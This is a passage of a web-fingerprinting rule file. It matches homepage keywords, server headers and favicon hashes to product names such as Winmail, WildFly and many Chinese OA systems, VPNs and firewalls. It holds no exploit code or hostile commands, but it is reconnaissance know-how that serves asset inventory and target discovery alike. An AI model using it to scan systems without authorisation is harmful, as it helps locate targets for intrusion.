{}, - "keyword": [ - "本系统由
    weiphp强力驱动" - ], - "favicon_hash": [], - "priority": 3, - "name": "weiphp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"weiphp" - ], - "favicon_hash": [], - "priority": 3, - "name": "weiphp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/css/weiphp.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "weiphp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/utility/corescripts/widget.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "weisha-learningsystem" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/web/vfyphrmedical\">健康档案" - ], - "favicon_hash": [], - "priority": 3, - "name": "wellcare-health-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "www.wellcare.cn" - ], - "favicon_hash": [], - "priority": 3, - "name": "wellcare-health-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "weonlydo" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "weonlydo-product" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "Werkzeug" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "werkzeug" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "wstl cpe" - }, - "keyword": [], - "favicon_hash": [], - "priority": 3, - "name": "westell-secure" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "
    " - ], - "favicon_hash": [], - "priority": 3, - "name": "whatweb" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "network card access password: " - ], - "favicon_hash": [], - "priority": 3, - "name": "whatweb" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "武汉富思特" - ], - "favicon_hash": [], - "priority": 3, - "name": "whfst-cms" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "css/css_whir.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "whir" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ezofficeusername" - ], - "favicon_hash": [], - "priority": 3, - "name": "whir-ezoffice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "whirrootpath" - ], - "favicon_hash": [], - "priority": 3, - "name": "whir-ezoffice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/defaultroot/js/cookie.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "whir-ezoffice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var flexofficepath=\"\\/flexoffice\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "whir-flexoffice" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "powered by please login or register" - ], - "favicon_hash": [], - "priority": 3, - "name": "whmcs" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/content/home/tzjlog.ico\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "whtzjkj-erp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "

    wifi安全终端设备管理

    " - ], - "favicon_hash": [], - "priority": 3, - "name": "wifi安全终端设备管理" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "wildfly project" - ], - "favicon_hash": [], - "priority": 2, - "name": "wildfly-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "the wasion software foundation" - ], - "favicon_hash": [], - "priority": 3, - "name": "willfar-interface-management-tool" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "alt=\"接口应用管理工具\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "willfar-interface-management-tool" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"images/sbslogo.gif" - ], - "favicon_hash": [], - "priority": 2, - "name": "windows-business-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"/remote\">remote web workplace" - ], - "favicon_hash": [], - "priority": 2, - "name": "windows-business-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "windriver-webserver" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "windriver" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": { - "Server": "wing ftp server" - }, - "keyword": [], - "favicon_hash": [], - "priority": 2, - "name": "wing-ftp-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "winisp.gif" - ], - "favicon_hash": [], - "priority": 3, - "name": "winiis-isp-access-resource-management-system" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "amax information technologies inc." - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "pop3,smtp server: " - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"themes/default/images/mail_pic.jpg" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "encryptpwd", - "sessid" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "f_theme", - "pwdplaceholder" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "winmail mail server" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "(build ", - "background=\"customer/winmail_bg11.jpg" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"customer/index_winmail_new.gif" - ], - "favicon_hash": [], - "priority": 3, - "name": "winmail-server" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "winwebmail server" - ], - "favicon_hash": [], - "priority": 3, - "name": "winwebmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "images/owin.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "winwebmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "winwebmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "type=\"hidden\" name=\"secex\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "winwebmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"images\\hwem.css\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "winwebmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var oemproductname = \"mvc_howay6000\"" - ], - "favicon_hash": [], - "priority": 1, - "name": "wireless-access-point-controller" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "中科网威-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "login", - "systemAction", - "zt_webframe" - ], - "favicon_hash": [], - "priority": 1, - "name": "中腾oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "www.tosec.com.cn/doc", - "(atype==\"fingersecauth\"||atype==\"localfingersecauth\")" - ], - "favicon_hash": [], - "priority": 3, - "name": "中远麒麟iaudit堡垒机" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "科博安全隔离与信息交换系统", - "科博安全隔离与信息单向导入系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "中铁信安-科博安全隔离与信息单向导入系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " technology, inc.", - "深圳市丰源芯科技产业控股有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "丰源芯科技-防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "input name=\"s1\" type=image" - ], - "favicon_hash": [], - "priority": 3, - "name": "乾星-oa企业智能办公自动化系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "红芯安全管控平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "云深互联-红芯安全管控平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "神盾fs3文档安全共享系统v2.0", - "神盾fs3文档安全共享系统v2.0" - ], - "favicon_hash": [], - "priority": 3, - "name": "亚东科技-神盾fs3文档安全共享" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "simplemodal.1.4.1.min.js", - "net110网络安全审计系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "任子行-net110网络安全审计系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "surfilter", - "src=\"/javascript/validation/sslvpnlogin.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "任子行-ssl-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "lib/templates/surfilter/images/logo_big.png", - "安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "任子行-surfnx安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "任子行下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "任子行-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "CRM_LASTLOGINUSERKEY" - ], - "favicon_hash": [], - "priority": 1, - "name": "任我行crm" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"366EC" - ], - "favicon_hash": [], - "priority": 1, - "name": "任我行电商" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "href=\"ipxweb/login.html" - ], - "favicon_hash": [], - "priority": 3, - "name": "优仕康-网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "mailgard webmail", - "window.open('http://www.hechen.com')" - ], - "favicon_hash": [], - "priority": 3, - "name": "佑友-mailgard-webmail" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"inputsize2\"", - "src=\"./js/jquery.validate.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "佑友-佑友防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"lblmsg_container\"", - "src=\"js/piwik.js\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "信息安全管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/scripts/easyui/jquery.easyui.min.js\"", - "广州全息若海信息科技有限公司" - ], - "favicon_hash": [], - "priority": 3, - "name": "全息若海-仓储办公辅助管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "background=\"skins/default/images/login_ksgm.jpg", - "kill邮件安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "冠群金辰-kill邮件安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "

    Index of /", - "Index of /" - ], - "favicon_hash": [], - "priority": 3, - "name": "列目录" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "<title>Directory listing for /", - "<h1>Directory listing for /" - ], - "favicon_hash": [], - "priority": 3, - "name": "列目录" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "前沿文档安全管理软件" - ], - "favicon_hash": [], - "priority": 3, - "name": "前沿文档安全管理软件" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<body onload=\"chkversion();setlanguage();loading()\" onkeydown=\"keylogin(event);\">", - "湖北力达科讯" - ], - "favicon_hash": [], - "priority": 3, - "name": "力达科讯-ldt安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - " href=\"xbsj/css/login.css\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "办公平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<div class=\"sys-name\">视频综合安全网关</div>", - "华域数安" - ], - "favicon_hash": [], - "priority": 3, - "name": "华域数安-视频综合安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "/OAapp/WebObjects/OAapp.woa" - ], - "favicon_hash": [], - "priority": 3, - "name": "华天动力协同oa办公系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "var opzoon_ver", - "copy_right = {cn : \"\", en " - ], - "favicon_hash": [], - "priority": 3, - "name": "华御-安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "window.dmsdefaultlanguage", - "content=\"华清信安统一安全防御平台" - ], - "favicon_hash": [], - "priority": 3, - "name": "华清信安-统一安全防御平台" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "content=\"华磊科技", - "快递系统", - "erp对接" - ], - "favicon_hash": [], - "priority": 3, - "name": "华磊科技物流信息系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 302, - "headers": { - "Location": "index.php?app=main&func=passport&action=login", - "Set-Cookie": "CNOAOASESSID=" - }, - "keyword": [], - "favicon_hash": [], - "priority": 1, - "name": "协众oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "id=\"ckbisaday\" type=\"checkbox\" name=\"ckbisaday\"" - ], - "favicon_hash": [], - "priority": 3, - "name": "协同办公系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "img.style.height=(bodyH-84-100)" - ], - "favicon_hash": [], - "priority": 3, - "name": "协达oa" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/unimas/", - "外网安全数据交换系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "合众数据-外网安全数据交换系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "txtpasswordcssclass", - "视频安全接入用户认证系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "合众数据-视频安全接入用户认证系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "2e7ead236832180553dab45ba77db6b7" - ], - "priority": 3, - "name": "合肥易用信息科技有限公司crm系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/jit_pnx_portal/", - "吉大正元身份认证网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "吉大正元-身份认证网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/style_chaoshi/" - ], - "favicon_hash": [], - "priority": 1, - "name": "同城多用户商城" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天清web应用安全网关", - "v2/global/vendor/modernizr/modernizr.js" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰-天清web应用安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天玥网络安全审计" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰-天玥网络安全审计" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "泰合信息安全运营中心" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰-泰合信息安全运营中心" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "Venusense", - "天清汉马USG防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰天清汉马usg防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天清汉马USG" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰天清汉马usg防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "/cgi-bin/webui?op=get_product_model" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰天清汉马usg防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "checkLocalServiceStatus", - "天玥运维安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "启明星辰天玥运维安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "URL=/vesystem" - ], - "favicon_hash": [], - "priority": 3, - "name": "和信下一代云桌面vesystem" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<h5><a href=\"config.htm?file=config.htm\">start page</a></h5>\"???*#e?<?q", - "sippuaccessserverctx" - ], - "favicon_hash": [], - "priority": 3, - "name": "国标sip平台网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "title>国标网关管理系统</title" - ], - "favicon_hash": [], - "priority": 3, - "name": "国标网关管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "国迈安全私有云部 all rights reserved", - "</span>国迈安全私有云部. <span>all rights reserved" - ], - "favicon_hash": [], - "priority": 3, - "name": "国迈电子安全文档管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/interlib/common/" - ], - "favicon_hash": [], - "priority": 1, - "name": "图创软件-图书馆站群管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "lansecs第二代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "圣博润-lansecs第二代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "/vpn/common/js/leadsec.js", - "/vpn/user/common/custom/auth_home.css" - ], - "favicon_hash": [], - "priority": 3, - "name": "天清汉马vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "window.location.href=\"/vone/pub/pda.html\";", - "window.location=\"/portal_default/index.html\";</script>" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "this.src='/style/images/rand.php?update=1'", - "天融信web应用安全网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-web应用安全网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "class=\"logintop\"", - "web应用安全防护系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-web应用安全防护系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "evpng.fix('div, ul, img, li, input'); //evpng.fix('pngid1, pngid2')", - "web user login" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-web应用防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天融信入侵防御系统topidp" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-入侵防御系统topidp" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<title>topsec单点登录系统", - "<p>安全审计</p>" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-安全审计" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天融信安全管理" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-安全管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天融信数据安全管理系统" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-数据安全管理系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天融信数据安全系统sbu" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-数据安全系统sbu" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天融信网络卫士过滤网关" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信-网络卫士过滤网关" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "<title>天融信 TopAPP" - ], - "favicon_hash": [], - "priority": 3, - "name": "天融信topapp_lb负载均衡系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "topdlp_show", - "天融信数据防泄漏系统" - ], - "favicon_hash": [], - "priority": 1, - "name": "天融信数据防泄漏系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天行安全单向导入系统", - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "天行网安-安全单向导入系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "天行视频图像安全监控接入系统", - "" - ], - "favicon_hash": [], - "priority": 3, - "name": "天行网安-视频图像安全监控接入系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "jsessionid", - "天迈科技", - "网络视频监控系统" - ], - "favicon_hash": [], - "priority": 1, - "name": "天迈科技网络视频监控系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "t-force下一代防火墙" - ], - "favicon_hash": [], - "priority": 3, - "name": "太一星晨-下一代防火墙" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "ngsoc日志采集探针", - "ngsoc关联规则引擎" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-ngsoc" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "QianxinVPN", - "卸载奇安信VPN" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [], - "favicon_hash": [ - "4cf31d7e53197f79b435b66cc8cb3098" - ], - "priority": 3, - "name": "奇安信-vpn" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "baseurl : 'app', //配置模块根路径到静态资源根目录", - "360代码卫士" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-代码卫士" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "360企业安全部署" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-企业安全部署" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "360企业版控制中心" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-企业版控制中心" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "appid\":\"skylar6", - "360新天擎" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-天擎" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "src=\"/resource/img/login/logo_403.png\" alt=\"360天机\"/>\"", - "360天机管理中心" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-天机管理中心" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "360天眼" - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-天眼" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 0, - "headers": {}, - "keyword": [ - "360网神数据脱敏系统 " - ], - "favicon_hash": [], - "priority": 3, - "name": "奇安信-数据脱敏系统" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "id=\"RSAPUBKEY\"", - "奇安信新天擎" - ], - "favicon_hash": [], - "priority": 2, - "name": "奇安信终端安全管理系统qax天擎" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 200, - "headers": {}, - "keyword": [ - "login/createQRCode.do", - "resources/commonImage/favicon.ico", - "用户登录" - ], - "favicon_hash": [], - "priority": 1, - "name": "好视通-fastmeeting" - }, - { - "path": "/", - "request_method": "get", - "request_headers": {}, - "request_data": "", - "status_code": 